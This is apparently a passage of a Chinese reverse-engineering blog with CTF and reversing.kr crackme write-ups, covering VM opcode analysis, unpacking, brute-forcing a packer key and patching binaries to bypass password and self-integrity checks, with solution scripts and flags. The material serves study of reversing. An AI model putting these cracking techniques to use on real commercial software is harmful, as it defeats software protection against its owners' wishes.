    set_pc_2()
    dword_804B198 = cur_pc
    cur_pc=1
    set_pc_2()
    dword_804B194 = cur_pc
    cur_pc = dword_804B198
    dword_804B198 = dword_804B194

'''
b *0x8048C70
b *0x8048B92
b *0x8048ABB
b *0x8048B31
b *0x8048BCE
b *0x8048C13
b *0x8048C22

x/bx 0x804b0a9
x/bx 0x804b190
'''
cnt=7;
set_pc()
sub_8048C13()
set_pc()
while cnt: #逐位比较,某一位错误即退出while
    cnt-=1
    sub_8048B92()
    set_pc()
    sub_8048ABB()
    set_pc()
    sub_8048B92()
    set_pc()
    sub_8048B31()
    set_pc()
    sub_8048BCE()
    set_pc()
sub_8048ABB()
set_pc()
sub_8048C22()

'''

byte_804B0A9 = 0x1a
cur_pc = 0
set_pc()

sub_8048B92: 
    set_pc();-------------------------------------------------------------------
                     |           cur_pc=dword_804B0A0[byte_804B0A9^0x10]^0x10   |
                     |           byte_804B0A9 = (byte_804B0A9^0x10+1)^0x10      |
                      ----------------------------------------------------------
    dword_804B198 = cur_pc;
    set_pc();
    dword_804B194 = cur_pc;
    cur_pc = dword_804B198
    dword_804B198 = dword_804B194
    set_code();-----------------------------------------------------------
                     |          dword_804B0A0[cur_pc]=dword_804B198^0x10  |
                      ----------------------------------------------------
sub_8048ABB:
    dword_804B198 = cur_pc;
    dword_804B18C = dword_804B194;
    set_pc();
    dword_804B18C = cur_pc;
    set_pc();       
    set_pc_2();------------------------------------------------------
                     |           cur_pc=dword_804B0A0[cur_pc]^0x10   |
                      -----------------------------------------------
    dword_804B194 = cur_pc;
    cur_pc = dword_804B18C;
    set_pc_2();
    dword_804B198 = cur_pc^dword_804B194
    cur_pc = dword_804B18C
    set_code();

sub_8048B31:
    set_pc();
    set_pc_2();
    dword_804B198 = cur_pc;
    set_pc();
    set_pc_2();
    dword_804B194 = cur_pc;
    if(dword_804B198 == dword_804B194):
        dword_804B198 = 1;
    else:
        dword_804B198 = 0;
    cur_pc = 8;
    set_code();

sub_8048BCE:
    dword_804B198 = cur_pc;
    set_pc();
    dword_804B198 = cur_pc;
    cur_pc=8;
    set_pc_2();
    if(cur_pc!=0):
        cur_pc = dword_804B198
        sub_8048A92();--------------------------------------------------------
                            |   byte_804B0A9=(byte_804B0AA^0x10+cur_pc)^0x10 |
                            --------------------------------------------------

sub_8048C13:
    set_pc();
    sub_8048A92();

sub_8048C22:
    cur_pc=0;
    set_pc_2();
    dword_804B198 = cur_pc;
    cur_pc=1;
    set_pc_2();
    dword_804B194 = cur_pc;
    cur_pc = dword_804B198
    dword_804B198 = dword_804B194

'''

AutoHotkey2

运行了一下发现直接报错程序崩溃,但是这不是系统报出的错误,肯定是程序的自校验出了问题,拖进ida空荡荡的符号表意味着又要开始脱壳….

跟了一会儿发现有点熟悉,确认了下不就是AutoHotkey1一样的吗。。。

同样lordpe+importrec之后直接去sub_4508C7函数,
发现和AutoHotkey1一模一样,那这个题意思就很明确了,第一步肯定是想办法绕过或者修改exe通过检测。

还是分为两部分,第一部分如下:

这部分代码的作用就是将文件从开头到倒数第五位计算一个值,然后异或0xaaaaaaaa,之后和最后四位组成的值进行比较。这绕过很简单动态调试跟到比较那一步,就知道最后四位的值需要等于多少了。

然后下一部分

读取5-8字节数据作为下一次文件读取的偏移,然后读取16字节数据,和固定的16字节比较,那就很容易了,直接找一下该16字节内容在文件的偏移就可以,

所以修改5-8字节为\x00\x38\x03\x00即可,注意这里改了之后要重新调试看最后四位的值,最后8位改为如下之后程序即可正常运行:

查一下bastard son of Eddard Stark,得到一个人名Jon Snow,所以最后结果就是jonsnow

x64_lotto

很明确的一个题目,64位,放到ida里面,直接进到主函数wmain,分为几个部分来说,第一部分如下:

读取我们输入的六个数字,然后和随机的6个数字对比,不一样就继续输入,而且观察一下后面的代码,之后就再也没有用到过输入的数字,那就很简单了,动态调试,直接在while(v3!=6)判断的时候patch一下通过判断就行了

第二部分如下:

对一段固定的值一顿异或操作之后将结果存在栈上,由于都是固定的值,动态跟一下就知道最后的异或结果。

第三部分如下:

patch一下,绕过对v2的判断,之后动态直接跟到wprintf处就拿到flag了:

flag就是from_GHL2_-_!

CSharp

又是一道.net的题目,直接上dnspy看反编译的代码,其中比较引人关注的是名叫MetMett的函数,没有被反编译出来,

再看到form1

这里在初始化的时候对这个函数体进行了一个解密操作,那这样其实动态调试是来的最快的,

两个断点一下,把两次的值复制出来,

解密前:


028D681E0B3FDEFFFFFF0115179B0215901F8FFFFFFF601E492D030115169B0218901F8FFFFFFF601E452D030115169B0216901F8FFFFFFF601E562D030115169B0217901F8FFFFFFF601E4C2D030115169B021E0A901F8FFFFFFF601E2B2D030115169B021D901F8FFFFFFF601FF0FFFFFF2D030115169B0219901F8FFFFFFF601E1C2D030115169B021A901F8FFFFFFF601E302D030115169B021E08901F8FFFFFFF601FE1FFFFFF2D030115169B021C901F8FFFFFFF601FEDFFFFFF2D030115169B021E09901F8FFFFFFF601FA2FFFFFF2D030115169B021B901F8FFFFFFF601E742D030115169B29

解密后:

038E691F0C40DF0000000216189C0316912010000000611F4A2E040216179C0319912033000000611F462E040216179C0317912011000000611F572E040216179C0318912021000000611F4D2E040216179C031F0B912011000000611F2C2E040216179C031E9120900000006120F10000002E040216179C031A912044000000611F1D2E040216179C031B912066000000611F312E040216179C031F099120B50000006120E20000002E040216179C031D9120A00000006120EE0000002E040216179C031F0A9120EE0000006120A30000002E040216179C031C912033000000611F752E040216179C2A

然后就是想看到解密后的代码,直接hex 编辑器上用解密后替换掉解密前的部分,再放进dnspy里反编译,拿到如下代码:

private static void MetMett(byte[] chk, byte[] bt)
&#123;
    if (bt.Length == 12)
    &#123;
        chk[0] = 2;
        if ((bt[0] ^ 16) != 74)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[3] ^ 51) != 70)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[1] ^ 17) != 87)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[2] ^ 33) != 77)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[11] ^ 17) != 44)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[8] ^ 144) != 241)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[4] ^ 68) != 29)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[5] ^ 102) != 49)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[9] ^ 181) != 226)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[7] ^ 160) != 238)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[10] ^ 238) != 163)
        &#123;
            chk[0] = 1;
        &#125;
        if ((bt[6] ^ 51) != 117)
        &#123;
            chk[0] = 1;
        &#125;
    &#125;
&#125;

那这个就挺清晰的了,算出来之后需要base64解码一下得到最后答案就是dYnaaMic

ciscn 2019 reverse writeup [1]

正常的逆向(大雾)好像就只有两个。。另外还有一个apk、一个wasm、还有一个MBR。。。这三个后续慢慢来补,需要的知识可能有点多,先把两个相对简单的题写一下。

easygo

从题目就可以看出来这是个go语言的题目,打开一看是去符号表的逆向,IDA里面通过脚本恢复符号表开始看代码

https://github.com/sibears/IDAGolangHelper

跟到main.main看到关键的比较函数:

gdb跟一下,在0x495318地址处下断点即可获得明文的flag:

bbvvmm

一道让人头疼的题目,根据题目名称大概猜到是一道vm的题目,也就是在前一天刚刚正在研究reversing.kr上的另一道vm题目,有点头大。先说说这个题目把。
拖进ida里面,先分析一下:

整个程序我们分为两部分来看,一部分校验用户名,结果存储在v5中,一部分校验密码,结果存储在*(ptr+25)v8里面。最后两者检验均通过之后链接上服务器就能打印flag

先看对用户名的验证,简单跟一下我们的输入经过了这么些函数sub_4066C0(encode_hex) -> sub_4018C4(sm4_en) -> sub_4067BD(encode_hex) -> sub_400AA6(base64) -> strcmp

首先sub_4066C0将我们的输入进行了encode('hex')操作,然后使用sm4加密算法进行加密,而密钥就是中间一长串赋值操作,从v17-v32,共16字节的秘钥,然后加密之后进入了一个魔改的base64函数,方式没变,替换了原本base64的编码表。然后和RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y=进行比较,那我们就可以逆着来就能得到用户名,脚本如下:

import binascii
base64_charset = 'IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y'
def b64_decode(base64_str):

    base64_bytes = ['&#123;:0>6&#125;'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
                    s != '=']
    resp = bytearray()
    nums = len(base64_bytes) // 4
    remain = len(base64_bytes) % 4
    integral_part = base64_bytes[0:4 * nums]

    while integral_part:
        tmp_unit = ''.join(integral_part[0:4])
        tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
        for i in tmp_unit:
            resp.append(i)
        integral_part = integral_part[4:]

    if remain:
        remain_part = ''.join(base64_bytes[nums * 4:])
        tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
        for i in tmp_unit:
            resp.append(i)

    return resp

from sm4 import encrypt, decrypt
from Crypto.Util.number import bytes_to_long, long_to_bytes
mk=0xda98f1da312ab753a5703a0bfd290dd6

data=int("0x"+b64_decode('RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y=').decode('utf-8'),16)
print long_to_bytes(decrypt(data,mk)).decode('hex')

其中的sm4就是从 https://github.com/yang3yen/pysm4这里随便拿的一个sm4.py脚本。
得到用户名为badrer12
用户名的逆向相对简单,但是密码的逆向就麻烦了。main函数调用了sub_405B25,初始化了一个handler,这里一个byte对应一个函数

然后sub_406607开始扫描执行,执行的就是从0x6090e0开始的这部分代码:

而在这些函数中势必有读取我们输入的密码,

所以需要开始分析虚拟机指令对应的函数。不过学弟他们是用angr一会儿就能跑出来。另外想了下似乎可以patch掉system('exit'),然后让它返回到输入来,这样就是本地70亿次的爆破,似乎是可行的。

那既然是复现还是分析下虚拟机。

一下午加一晚上过去了,我分析虚拟机回来了。。。。

分析的脑壳都大了,就是得耐着性子挨个指令看,vm的题做的比较少,所以这道题多花了心血认真分析了。几个比较核心的点,首先0x609240处存储目前的栈顶指针,0x60a4f0则是直接的栈底指针,核心的handler的结构体0x60a010,结果存储在*(0x60a010+0x24)+0x64的地方,也就是最后验证的结果。
整个逻辑分析下来很简单,就是六位输入满足x1^0x78+x2^0x79+x3^0x7a+x4^0x7b+x5^0x7c+x6^0x7d即可,所以x1-x6分别为0x78-0x7d即可,所以输入为xyz{|}

贴一下笔记吧:

//part 0 
B0 19 00 00 00 
B5 0A
B2 0B
B4 09
B0 1A 00 00 00 
B5 0A 
04 0B 09 
B0 1A 00 00 00 
B5 0A 
B2 0B  
B4 09 
90 C2 00 00 00 91   //jmp part 2

//part 1
01 1A 00 00 00 0A       // a1+0x28 = 0x1A
02 09 00                //*(a1)=*(*(a1+0x24)+0x68)
10 09 30 00 00 00 01    // judge(*a1+0x24)!=0 ? *(a1+4)=0x0060b5c0 : *(a1+4)=0x0060b530 
B2 01                   //*a1+4 入栈 
B2 00                   //*a1 入栈
C0                      //judge(*a1)!=0,*a1=4**a1+*a1+4 : *a1+=*a1+4
B5 00                   //*a1 <- 栈顶
B0 F4 FF FF FF          // -c 入栈
B5 0A                   //a1+0x28= -c 
B1 00                   // password逐个取到栈顶
B5 01                   // a1+0x4=password
01 1A 00 00 00 0A       // a1+0x28 = 0x1A
B1 09                   // *[*(a1+0x24)+0x68] 入栈
B5 00                   //*a1 <- 栈顶
10 00 78 00 00 00 00    //judge(*a1)!=0? *a1+=4*0x78:*a1+=0x78;
70 00 FF 00 00 00 00    //*a1=*a1 & 0xff
50 00 18 00 00 00 00    //*a1=*a1 << 0x18
B2 00                   // *a1 入栈
B0 18 00 00 00          // 0x18 入栈
C8                      // *a1 >> 0x18 
B5 00                   // *a1 <- 栈顶
B2 01                   // *a1+0x4 入栈(password)
B2 00                   // *a1 入栈
C3                      // *a1 ^ *a1+0x4
B5 00                   // *a1 <- 栈顶 
50 00 18 00 00 00 00    // *a1=*a1 << 0x18
B2 00                   // *a1 入栈
B0 18 00 00 00          // 0x18 入栈
C8                      // *a1 >> 0x18
B5 00                   // *a1 <- 栈顶 
70 00 FF 00 00 00 01    //*a1+4=*a1 & 0xff 
01 19 00 00 00 0A       //*a1+0x28=0x19
02 09 00                //*(a1)=*(*(a1+0x24)+0x64)
11 01 00 00             // judge(*(a1+4))!=0? *a1=*(a1+4) + 4**a1: *a1=*(a1+4) +*a1
B0 19 00 00 00          // 0x19 入栈
B5 0A                   // *a1+0x28 = 0x19
B2 00                   // *a1 入栈
B4 09                   // *[*(a1+0x24)+0x64]=栈顶
01 1A 00 00 00 0A       // a1+0x28 = 0x1A
B1 09                   //*[*(a1+0x24)+0x68] 入栈
B5 00                   // *a1 <- 栈顶
10 00 01 00 00 00 00    // judge(*a1)!=0? *a1+=4*0x01:*a1+=0x01;
01 1A 00 00 00 0A       // a1+0x28 = 0x1A
04 00 09                //*[*(a1+0x24)+0x68]=*a1

//part 2
B0 1A 00 00 00          // 0x1A 入栈
B5 0A                   // *a1+0x28 = 0x1A
02 09 00                // *(a1)=*(*(a1+0x24)+0x64)
86 00 06 00 00 00 00    // *a1 = len < 6 ;限定长度为6,即循环6次就ok
88 00 26 00 00 00 91    //jmp part 1
FF
B0:   *tmp=*(pc+1);tmp+=4;pc+=5;    push 立即数指令
B5:   *(a1+4*op1)=*tmp;tmp-=4;pc+=2;    pop 指令
B2:   *tmp=*(a1+4*op1);tmp+=4;pc+=2;    push 指令
B4:   *(a1+0x28)<=1000 ? tmp-=4; *[*(a1+4*op1)  + 4 * [*(a1+0x28)] ] = *tmp   : *[*(a1+4*op1) - [*(a1+0x28)] ] =*tmp   ;   pop指令
04:  *(a1+0x28)<=1000 ? *[a1+4*op2 + 4*[*(a1+0x28)]]=*(a1+4*op1):*[*(a1+4*op2) - 4*[*(a1+0x28)]]=*(a1+4*op1)
90:   pc+=*(a1+0x30)+op1
02:   *(a1+0x28)<=1000 ? *(a1+4*op2)=*[*(a1+4*op1) + 4*[*(a1+0x28)]] :*(a1+4*op2)=*[*(a1+4*op1) - 4*[*(a1+0x28)]]
86:   *(a1+4*op6)=*(a1+4*op1) < op2
88:   *(a1+4*op1) != 0 ? pc = *(a1+0x30+4*op1) : pc=op6
01:   *(a1+4*op5)=op1
10:   judge(*(a1+4*op1))!=0 ? *(a1+4*op6)=*(a1+4*op1)+4*op2 : *(a1+4*op6)=*(a1+4*op1)+op2 
C0:   judge(*(tmp-1))!=0 ? *(tmp-1)=4* *(tmp-1) + *(tmp-2) : *(tmp-1)=*(tmp-1) + *(tmp-2) 
B1:   *(a1+0x28)<=1000 ? tmp=*[a1+4*op1  + 4 * [*(a1+0x28)] ]   : tmp=*[a1+4*op1 - 4*[*(a1+0x28)] ]   ;tmp+=4; 
70:   *(a1+4*op6)=*(a1+4*op1) & op2
50:   *(a1+4*op6)=*(a1+4*op1) << op2
C8:   *(tmp-1) = *(tmp-2) >> *(tmp-1);
C3:   *(tmp-1) ^= *(tmp-2); 
11:   judge(*(a1+4*op1))!=0 ? *(a1+4*op3)=*(a1+4*op1)+4**(a1+4*op2) : *(a1+4*op3)=*(a1+4*op1)+*(a1+4*op2)

Easy_ELF

ida 打开

gdb 跟一下,知道0x804a20是输入(猜也能猜到)
最后答案L1NUX

WindowKernel

第一次接触这种类型的题目。放在 32 位下来做题。
打开发现报了 error,想了想试试管理员权限打开,可以正常运行了。

点 enable 之后应该是调用了 sys 的函数记录键盘输入,然后进行分析。
查了下程序没有壳,直接放到 ida 里面。这种 gui 的程序,直接看DialogFunc函数,过一下发现关键在sub_401110函数里面。

可以看出进行输入判断的关键函数是sub_401280,这个函数跟进去看果然看到了DeviceIoControl函数。正常情况下,应用程序和驱动程序通信的基本过程是,应用程序应用程序使用CreateFile函数打开设备,然后使用用DeviceIoControl与驱动程序进行通信,包括读写两种操作,结束之后使用CloseHandle函数来关闭设备。

接下来看看 sys 文件,拖进 ida 看到函数不多,可以直接读,
然后从DirverEntry挨个过一遍的时候看到了比较有意思的函数

这里等于 0x1000 的时候和等于 0x2000 的时候赋值,和之前的sub_401280函数一对比,很明显等于 0x1000 的时候开始,然后等于 0x2000 的时候进行判断。所以等于 0x2000 的时候这个*(_DWORD *)&v3->Type = dword_13024;赋值就很引人注目了。看看dword_13024的引用,跟到了sub_110D0,不大看得懂这个函数,没关系继续网上跟.
最后确定是sub_11266->sub_111DC->sub_11156->sub_110D0
而我们看看sub_11266函数,看到了关键的READ_PORT_UCHAR函数,READ_PORT_UCHAR这个 API 是从端口中获取字节信息,0x60是 PS2 键盘的数据端口,必须在内核模式下运行。查阅了资料,了解到大多数 PC 键盘控制器在地址0x60和0x64上是可寻址的,键盘和鼠标是共享 0X60 端口的,所以在使用之前,系统一般会先读取0X64端口,判断是鼠标还是键盘。

回到题目,这里也就清楚了,传入sub_111DCv4就是我们的输入,然后就是连等判断,地址dword_13034是一个计数器,计数器大于一定值之后又进入sub_11156sub_110D0
最后看下来,我们的输入值如下:

0xa5, 0x92, 0x95, 0xb0,
0xb2^0x12, 0x85^0x12, 0xa3^0x12, 0x86^0x12
0xb4^0x12^0x5, 0x8f^0x12^0x5, 0x8f^0x12^0x5, 0xb2^0x12^0x5

总共 12 个字母,一看不像是可显字符,不过这里从端口读下来的数据可不直接就是可显字符,是键盘扫描码,还得进行一下转换,参照链接http://www.voidcn.com/article/p-syxmbgac-sm.html
转换之后得到 flag:keybdinthook

AutoHotkey1

拿到程序之后,发现加了壳,UPX,懒得用工具,手动简单跟一下,很快就发现入口,

同样用 lordpe 转储一下,然后 importrec 回复 IAT。然后运行,发现报错

程序崩溃,但是这不是系统的错误,程序正常运行然后的弹窗,猜测就是程序进行了自校验,然后脱壳之后无法通过自校验,先放进 ida 里面,然后手动跟一下,迅速定位了校验函数sub_4508C7
结合 IDA 边调边看,主要分为两部分

上述为第一部分,主要是将文件除去倒数四位进行一堆复杂的运算然后和最后四位对比。


上述为第二部分,主要先验证前 16 字节数据为某一固定值,然后第 17 等于 3,18-22 位与 0xFAC1 异或用作下一次读取的长度,然后读出来进入sub_450ABA函数进行一大段复杂的运算,然后计算结果似乎只是存入了某段内存,这让人很在意,跟了一下发现结果如下:

很明显的 md5 值,根据 readme 这应该就是其中的一部分了。
解密的结果是isolated
然后后续开始复杂了起来,看得我一头包,然后干脆直接开始找GetWindowTextA,但是发现有一堆调用,其中看到一个调用存在DialogFunc中,然后确定应该是需要的,地址为00425FB7

下断之后成功截获输入:

接下来应该就是某个地方对其进行了处理,现在 ida 中简单跟了一下,跟的我一头雾水,接下来的几个函数逻辑都比较复杂,看得我一头包,索性不跟了,直接 OD 中对保存我们输入的地方下了个硬件访问断点。然后F9之后程序断在了如下所示的一个cmp指令,这里将输入和一段疑似 md5 的值进行逐位对比,这一段多半就是答案了。

54593f6b9413fc4ff2b4dec2da337806解密之后的值是pawn
在和前一部分组合一下获得 flag:isolated pawn

CSHOP

查了下壳发现是.NET 程序,用.net reflector打开看看,主要是调用这个框架

看看InitializeComponent函数,新建了 1 个按钮和 10 个 label,其中按钮的大小被设置为 0 了,然后按钮一旦被按下就会触发click函数,该函数就是对标签进行赋值,猜测就是 flag,但是需要知道标签的排列顺序,

这个时候我们可以回到InitializeComponent函数,看到每个标签都有一个 location 属性,通过这个属性我们可以把标签排列,然后根据 click 里面的赋值就能获取 flag。

但是还有一个问题,下图两个标签在反编译看到的都是lbl\n,即是一样的无法区分,这两个标签分别决定了按钮按下生成值的前两位。而后八位可以分析出来是W6RP6SES

而 click 函数中对lbl\n赋值总共有三个分别是P,4,5,那可能性就不多,总共 6 种

P4W6RP6SES
P5W6RP6SES
4PW6RP6SES
5PW6RP6SES
45W6RP6SES
54W6RP6SES

尝试之后得到答案P4W6RP6SES

那做完之后看别人的题解得到了几种新的解题方法。
法一
直接摁回车,在对一些程序我们摁 TAB 键的时候,它会切换按钮或者标签,这个TabIndex属性就意味着 TAB 键的切换顺序,而按钮的顺序是 0 即默认选中,所以打开程序直接摁回车就出 flag 了。。。。。

法二
尝试将原来 size 为 0 的按钮调出来。

利用spy++定位到 button 的窗口句柄:


然后 52 破解工具包中有个窗口信息查看器spy,找到这个 button,之前说过了,button 的 size 为 0,所以没法儿点击,但是通过这个工具我们可以将按钮最大化:

点后面的勾,然后发现程序窗口中的按钮最大化了,直接摁点一下,再把这个 button 最小化就能看到 flag。

法三
我自己做的时候由于 reflector 可能版本比较老?导致两个变量无法区分,后来看了别人用dnspy,试了试,如下图:

直接就能看出来,那就没啥说的了,直接就可以怼出 flag 了。
ok 换工具了。。。。。。

PEPassword

题目给了两个代码,一个origin.exe,一个packed.exe,简单分析就知道 origin.exe 是程序的原始程序,packed.exe 是程序加密之后的,origin.exe运行效果如下:

分析一下之后确实没有 password,那么猜想是packed.exe里面会有,但是要运行packed.exe需要输入一个密码,所以工作就来了,找到破解加密,然后运行程序应该就会有下一步了。
那么来看看这个packed.exe,放到 IDE 里面,没啥信息,OD 跟一下之后发现一直在这里循环,

ctrl+F8跑起来,然后看到最后那个 cmp,数据窗口跟随发现我们输入就在后面,纯属偶然发现。那就在我们的输入下一个硬件访问的断点:

断下来之后发现调用源自0x409190


那这里其实正常可以对WM_KEYDOWN消息下消息断点。
然后往下走,进入了一串复杂的计算函数0x4091d8,将我们的输入进行了一串及其复杂的运算之后得到四字节的数据与0xe98f842a对比,分析了一下这个函数之后实际上是一个0x10000*输入长度的大循环,具体不多说了,那这个代码也不是很想看,所以直接绕过 cmp,阻止0x4091a6处的跳转,然后继续往下跟,之后代码运行到了0x409200,来到了关键的加密函数。

首先这一段选中代码计算了一个ebx和一个eax,用于后面的解密运算:

edi处存储加密的代码,然后 edx 赋初值之后进入解密循环,解密之后运行,如果能够解密成功就能成功运行。解密循环如下

很简单的一段迭代算法,我们根据origin.exePacked.exe两个程序可以很容易异或出每个阶段的 eax,然后需要爆破一下 ebx,总共爆破空间为0xffffffff,还可以。
那刚开始用 python 写的,如下:

from pwn import u32,p32
import threading

ori=['\x81\xec\x4c\x01','\x00\x00\x56\x57']
en=['\x17\x2e\xe6\xb6','\x05\x7e\x0c\x0d']

eax=u32(ori[0])^u32(en[0])
eax2=u32(ori[1])^u32(en[1])

print 'eax:',hex(eax)
print 'eax2:',hex(eax2)


def ro(lst, k,flag):
    if flag==-1:
        k=k%32
        k=-k
    else:
        k=k%32
    x = lst[:k]
    x.reverse()
    y = lst[k:]
    y.reverse()
    r = x+y
    return list(reversed(r))

def go(start,end):
    for i in xrange(start,end):
        ebx=i
        ebx_tmp=int("".join(i for i in ro(list("&#123;:0>32&#125;".format(bin(ebx)[2:])),ord(p32(eax)[0])%32,1)),2)
        eax2_tmp=ebx_tmp ^ eax
        if eax2==int("".join(i for i in ro(list("&#123;:0>32&#125;".format(bin(eax2_tmp)[2:])),ord(p32(ebx_tmp)[1])%32,-1)),2) :
            print "ebx:",ebx


if __name__ == "__main__":
    t_pool=[]
    for j in xrange(0x10-1):
        t=threading.Thread(target=go,args=(j*0xfffffff,(j+1)*0xfffffff))
        t_pool.append(t)
    for j in t_pool:
        j.start()
    while 1:
        pass

跑了好一会儿才意识到,emmm 有点慢,换 c 之后可以使用内联汇编,这样就不用重写代码了,如下:

// vs2012

#include "stdafx.h"

int cal(int eax_1,int ebx_1)&#123;
    unsigned int result;
    __asm&#123;
        mov eax,eax_1;
        mov ebx,ebx_1;
        mov cl,al;
        rol ebx,cl;
        xor eax,ebx;
        mov cl,bh;
        ror eax,cl;
        add ebx,eax;
        mov result,eax;
    &#125;
    return result;

&#125;

int main()&#123;
    unsigned int eax=0xb7aac296;
    unsigned int ebx;
    unsigned int eax2=0x5a5a7e05;
    for(unsigned int i=0;i<0xffffffff;i++)&#123;
        ebx=i;
        if(eax2==cal(eax,ebx))&#123;
            printf("success: %x\n",ebx);
        &#125;
        if(i%0xf00000==0)&#123;
            printf("%x\n",i);
        &#125;
    &#125;
&#125;

运行结果如下:

跑出了两个答案,试一下就知道正确值是0xc263a2cb,然后在进解密循环的时候修改 eax 和 ebx,从而使程序正常解密并运行:

得到 flag:From_GHL2_!!

折腾了几个月的SCI总算暂时告一段落了,接下来就该祈祷审稿人能不能选择性眼瞎给我通过了。下一步时间多一点了,还是打算搞搞有意思的东西。不过想了一下还是得再巩固巩固逆向基础才行,所以正好最近抽空刷一刷reversing.kr,记录一下题解,之后的话看看能不能整理一下把看过的一些有趣的论文提到的东西或者工具写点东西。

Easy Crack

win32 的一个比较基础的 crackme,需要找出正确的 password。

od 中直接通过寻找字符串的方式找到判断函数的位置,即是0x401080.
在地址0x4010aa的地方看到了GetDlgItemTextA的调用就大概能够猜测到一些了,这里把我们的输入存到了ESP+0x8的地方

接下来就是对输入进行判断,总共四部分
第一部分:

第二个字母 ascii 为 0x61,即a

第二部分:

第三、四个字母要为5y
第三部分:

第四位之后要为R3versing
第四部分:

第一位要为E
组合起来就是答案Ea5yR3versing

Easy Keygen

程序功能是输入一个用户名和一个序列号它会进行 check。

目的是求出给定序列号的用户名。
也就是逆向其中的算法。
通过查找参考字符串可以成功定位到加密部分的位置,如下:

分析之后就是对输入进行逐位异或,第一位异或 0x10,第二位异或 0x20,第三位异或 0x30,第四位异或 0x10,依次类推。
所以写个简单程序即可得到答案

tmp='5B134977135E7D13'
data=bytes.fromhex(tmp).decode('utf-8')
ans=""
for i in range(1,len(data)+1):
    if i%3==1:
        ans+=chr(ord(data[i-1])^0x10)
    if i%3==2:
        ans+=chr(ord(data[i-1])^0x20)
    if i%3==0:
        ans+=chr(ord(data[i-1])^0x30)
print(ans)

Easy Unpack

直接利用 esp 定律即可找到

所以 flag 就是00401150

Music Player

研究一下这个文件,发现是每到 1:00 钟的时候就会弹窗警告,所以我们可以对vbamsgbox下断点,

然后断下来之后看看当前函数块的代码,往上看能看到这么一部分,

这里0xea60就是 60000,所以找到了这里的比较,当然这里可以结合VBDecompiler看,比如这一段的反编译代码为:

Private Sub TMR_POS_Timer() '4044C0
  Dim Me As Variant
  Dim global_4011D0 As Me
  Dim var_20 As Variant
  loc_00404545: ClsMCI = var_A4
  loc_00404568: var_18 = var_A4
  loc_0040456B: If var_A4 < 60000 Then GoTo loc_004045FE
  loc_00404574: var_eax = FrmMain.CMD_STOP_Click
  loc_004045D8: MsgBox(&H402BAC, 64, var_40, var_50, var_60)
  loc_004045F9: GoTo loc_00404795
  loc_004045FE: 'Referenced from: 0040456B
  loc_00404601: If var_30 = -1 Then GoTo loc_004046CA
  loc_0040460B: var_eax = FrmMain.Proc_0_10_403370(Me, &H402BAC)
  loc_00404614: var_BC = var_18
  loc_00404627: If global_407000 <> 0 Then GoTo loc_00404631
  loc_0040462F: GoTo loc_00404642
  loc_00404631: 'Referenced from: 00404627
  loc_00404642: 'Referenced from: 0040462F
  loc_0040465A: If CLng((var_BC / global_4011D0)) <= 0 Then GoTo loc_0040466A
  loc_00404664: ecx = "LI"
  loc_0040466A: 'Referenced from: 0040465A
  loc_0040466C: If CLng((var_BC / global_4011D0)) <> 0 Then GoTo loc_00404673
  loc_00404673: 'Referenced from: 0040466C
  loc_0040468D: var_C0 = var_20
  loc_00404693: var_ret_1 = global_00000001
  loc_004046A1: HS_POS.Value = var_ret_1
  loc_004046CA: 'Referenced from: 00404601
  loc_004046EC: ClsMCI = var_A4
  loc_0040470E: If var_A4 <= 60010 Then GoTo loc_00404795
  loc_0040476F: ecx = &H402BDC & Chr(114) & &H402BE4
  loc_00404795: 'Referenced from: 004045F9
  loc_0040479E: GoTo loc_004047CE
  loc_004047CD: Exit Sub
  loc_004047CE: 'Referenced from: 0040479E
  loc_004047CE: Exit Sub
End Sub

很容易看到var_A4 < 60000 Then GoTo loc_004045FE这样一个比较,那么我们把代码中的jl,即小于 60000 才跳转改成直接 jmp 即可。
修改保存之后尝试第二次运行,发现产生了异常。

但是音乐仍然在正常播放,我们需要处理一下这个异常。
那就直接对kernel32RaiseException下断点

然后断下来之后查看堆栈

跟到0x4046b9

看到这个 jge,直接改 jmp 就可以了。
然后拿到 flag:LIstenCare

Replace

随便输入一个数字程序出现异常并退出。
查看一下参考字符串,定位到了'correct'的位置。

可以看到要想出现correct必须执行0x401073开始的代码,也就是我们需要解决前面两个 jmp 的问题。
0x40105a的地方有GetDlgItemInt函数的调用,用于获取我们的输入并存至0x4084d0,从这儿跟进0x40466f函数。

这里存在的代码的复用,应该是手写的汇编,继续跟进0x40467a

可以看到0x40467a使我们的输入值(存储在0x4084d0)+2,
然后再回到0x40466f,它又将输入值+0x601605c7,之后再+2,
也就是经过0x40466f的函数之后我们的输入值增加了0x601605c7+4
然后 jmp 到了0x404690,这里动态的修改了0x40466f处执行的代码:

而 eax 则是之前修改过的我们的输入值即input+0x601605c7+4
也就是说,这里会把这个地址修改为0x90(汇编指令:NOP)。
再看该代码块的最后有jmp 0x401071,如果我们能够把0x401071覆盖掉,就可以成功显示 correct。
也就是要满足input+0x601605c7+4=0x401071,溢出一下满足input+0x601605c7+4=0x100401071即可。
最后 input 也就是 flag 为2687109798

ImagePrc

一个画图程序,画出来的图和另一个答案。
同样可以通过搜索参考字符串Wrong定位到关键代码:

这里看到选中的部分就是循环进行对比,一旦我们画的和答案不对就弹出wrong
所以我们直接把答案数据抠出来画出来就好了,大小0x15f90,也就是 90000,存储的是 RGB 值,直接用 python 画就行了,至于长和宽,可以从 ida 中一眼就看到

最终代码如下:

# -*- coding: utf-8 -*-

from PIL import Image
x=150
y=200
f = open("a.txt", 'r')
data = f.read().split(" ")
rgbi=[]
print(len(data))
for i in range(0,len(data),3):
    tmp=[data[i],data[i+1],data[i+2]]
    rgbi.append(tmp)
f.close()

c = Image.new("RGB", (x, y))
